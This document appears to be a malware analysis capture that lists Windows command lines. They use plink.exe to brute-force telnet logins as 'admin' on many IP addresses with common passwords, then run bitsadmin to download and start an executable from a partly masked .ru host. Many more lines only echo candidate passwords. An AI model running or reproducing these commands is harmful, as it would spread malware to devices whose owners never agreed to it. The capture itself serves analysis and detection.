  • '<SYSTEM32>\cmd.exe' /c echo aaaaaa|%temp%\Release\plink.exe -telnet 252.54.190.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 1234|%temp%\Release\plink.exe -telnet 23.218.45.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo sunshine|%temp%\Release\plink.exe -telnet 142.26.41.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 1111|%temp%\Release\plink.exe -telnet 104.161.190.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo switzerland|%temp%\Release\plink.exe -telnet 97.74.207.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo W1NDOWS|%temp%\Release\plink.exe -telnet 69.82.162.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo PASSWORD|%temp%\Release\plink.exe -telnet 183.168.50.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo frederic|%temp%\Release\plink.exe -telnet 202.91.11.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo n1skj0sp|%temp%\Release\plink.exe -telnet 20.165.140.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 123|%temp%\Release\plink.exe -telnet 155.167.98.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo U38fa39|%temp%\Release\plink.exe -telnet 210.13.89.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo golfer|%temp%\Release\plink.exe -telnet 79.251.79.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo 281874|%temp%\Release\plink.exe -telnet 13.67.2.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo 999999|%temp%\Release\plink.exe -telnet 64.25.234.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo asdf|%temp%\Release\plink.exe -telnet 77.84.157.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo chicken|%temp%\Release\plink.exe -telnet 175.28.103.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo lepassadmin|%temp%\Release\plink.exe -telnet 85.51.205.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo Test123|%temp%\Release\plink.exe -telnet 60.27.49.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo user|%temp%\Release\plink.exe -telnet 59.82.87.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time% ...
  • '<SYSTEM32>\cmd.exe' /c echo 12413|%temp%\Release\plink.exe -telnet 140.159.245.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo admin|%temp%\Release\plink.exe -telnet 40.178.212.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo 555|%temp%\Release\plink.exe -telnet 19.219.164.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo andrew|%temp%\Release\plink.exe -telnet 234.239.31.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo cisco|%temp%\Release\plink.exe -telnet 234.16.242.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo q1w2e3|%temp%\Release\plink.exe -telnet 218.161.203.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 987654321|%temp%\Release\plink.exe -telnet 107.189.114.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo U9000|%temp%\Release\plink.exe -telnet 224.126.136.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 281874|%temp%\Release\plink.exe -telnet 73.148.213.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 654321|%temp%\Release\plink.exe -telnet 237.108.168.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 123654|%temp%\Release\plink.exe -telnet 165.189.180.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 789456123|%temp%\Release\plink.exe -telnet 249.123.253.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo protocol|%temp%\Release\plink.exe -telnet 227.133.42.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo demo|%temp%\Release\plink.exe -telnet 68.179.8.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time% ...
  • '<SYSTEM32>\cmd.exe' /c echo gino|%temp%\Release\plink.exe -telnet 178.250.63.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo PC123|%temp%\Release\plink.exe -telnet 144.165.61.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo dreambox|%temp%\Release\plink.exe -telnet 28.175.118.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo sunshine|%temp%\Release\plink.exe -telnet 189.23.83.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo U38fa39|%temp%\Release\plink.exe -telnet 99.126.33.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 88888888|%temp%\Release\plink.exe -telnet 209.58.147.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo matrix|%temp%\Release\plink.exe -telnet 174.127.156.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 111111|%temp%\Release\plink.exe -telnet 119.18.33.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo qazwsxedc|%temp%\Release\plink.exe -telnet 195.46.29.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo Salam|%temp%\Release\plink.exe -telnet 75.89.125.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo counter|%temp%\Release\plink.exe -telnet 185.138.137.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo sunshine|%temp%\Release\plink.exe -telnet 16.117.107.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo ciao|%temp%\Release\plink.exe -telnet 51.225.116.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo lepassadmin|%temp%\Release\plink.exe -telnet 140.228.90.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && ech...
  • '<SYSTEM32>\cmd.exe' /c echo GO2WORK|%temp%\Release\plink.exe -telnet 38.242.13.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo P@ssw0rd|%temp%\Release\plink.exe -telnet 180.144.68.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 12413|%temp%\Release\plink.exe -telnet 165.54.15.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo cisco|%temp%\Release\plink.exe -telnet 23.36.13.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo chicken|%temp%\Release\plink.exe -telnet 110.95.209.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo devry|%temp%\Release\plink.exe -telnet 239.165.159.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 290966|%temp%\Release\plink.exe -telnet 78.122.216.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo parola|%temp%\Release\plink.exe -telnet 241.13.108.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 67023|%temp%\Release\plink.exe -telnet 156.198.196.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo gino|%temp%\Release\plink.exe -telnet 207.163.233.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo Test123"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 4SweetCandy1"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo Sistema"
  • '<SYSTEM32>\cmd.exe' /c echo backward|%temp%\Release\plink.exe -telnet 137.18.72.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo killer"
  • '<SYSTEM32>\cmd.exe' /c echo Sistema|%temp%\Release\plink.exe -telnet 213.205.99.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo killer|%temp%\Release\plink.exe -telnet 113.125.196.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo pakistan|%temp%\Release\plink.exe -telnet 118.144.161.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo ...
  • '<SYSTEM32>\cmd.exe' /c echo 4SweetCandy1|%temp%\Release\plink.exe -telnet 141.77.202.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && ec...
  • '<SYSTEM32>\cmd.exe' /c echo parola|%temp%\Release\plink.exe -telnet 229.223.98.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo Test123|%temp%\Release\plink.exe -telnet 43.246.89.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo vinicius|%temp%\Release\plink.exe -telnet 224.93.199.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 12345|%temp%\Release\plink.exe -telnet 150.125.193.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo parola|%temp%\Release\plink.exe -telnet 140.10.101.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo password1|%temp%\Release\plink.exe -telnet 143.212.82.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo ...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo www-data"
  • '<SYSTEM32>\cmd.exe' /c echo Demo|%temp%\Release\plink.exe -telnet 139.9.15.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time% ...
  • '<SYSTEM32>\cmd.exe' /c echo 290966|%temp%\Release\plink.exe -telnet 150.71.189.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo qazwsx|%temp%\Release\plink.exe -telnet 197.186.110.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo www-data|%temp%\Release\plink.exe -telnet 21.164.141.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo zhouba|%temp%\Release\plink.exe -telnet 139.32.2.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo qwertyu|%temp%\Release\plink.exe -telnet 254.245.155.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo root|%temp%\Release\plink.exe -telnet 123.10.238.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo qwertyuiop|%temp%\Release\plink.exe -telnet 181.254.48.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo bonjour|%temp%\Release\plink.exe -telnet 120.5.82.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo backward"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo parola"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 67023"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo password1"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 290966"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo vinicius"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo devry"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 12345"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo pakistan"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo gino"
  • '<SYSTEM32>\cmd.exe' /c echo lol123|%temp%\Release\plink.exe -telnet 32.188.75.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo asdf"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo sunshine"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo qazwsxedc"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 123654"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 12413"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo andrew"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo elephant"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo lepassadmin"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo valentin"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo user"
  • '<SYSTEM32>\cmd.exe' /c echo master|%temp%\Release\plink.exe -telnet 146.245.109.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 789456123"
  • '<SYSTEM32>\cmd.exe' /c echo bonjour|%temp%\Release\plink.exe -telnet 10.120.158.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 784512|%temp%\Release\plink.exe -telnet 137.74.216.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo qazwsx"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 555"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 654321"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo zhouba"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo q1w2e3"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo bonjour"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo helpme"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo counter"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo platter"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 7777777"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 111111"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo lol123"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo U9000"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 784512"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 88888888"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo ubqe"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo demo"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 281874"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo !root!"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo qwertyuiop"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 999999"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 11111111"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1111"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo admin"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo PC123"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo qwerty123"
  • '<SYSTEM32>\cmd.exe' /c echo 999999|%temp%\Release\plink.exe -telnet 142.226.128.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo anonymous|%temp%\Release\plink.exe -telnet 245.214.202.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo windows|%temp%\Release\plink.exe -telnet 86.237.127.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo forensics|%temp%\Release\plink.exe -telnet 130.92.221.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo ...
  • '<SYSTEM32>\cmd.exe' /c echo 123321|%temp%\Release\plink.exe -telnet 110.65.116.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 7777777|%temp%\Release\plink.exe -telnet 203.182.7.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 121212|%temp%\Release\plink.exe -telnet 218.83.118.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo elephant|%temp%\Release\plink.exe -telnet 187.190.38.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 11111111|%temp%\Release\plink.exe -telnet 83.113.136.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 1234|%temp%\Release\plink.exe -telnet 44.75.83.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time% ...
  • '<SYSTEM32>\cmd.exe' /c echo qwerty123|%temp%\Release\plink.exe -telnet 221.197.3.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo elephant|%temp%\Release\plink.exe -telnet 19.239.217.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo ubqe|%temp%\Release\plink.exe -telnet 99.196.153.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo parola|%temp%\Release\plink.exe -telnet 202.3.117.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo daniel|%temp%\Release\plink.exe -telnet 212.48.213.0 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
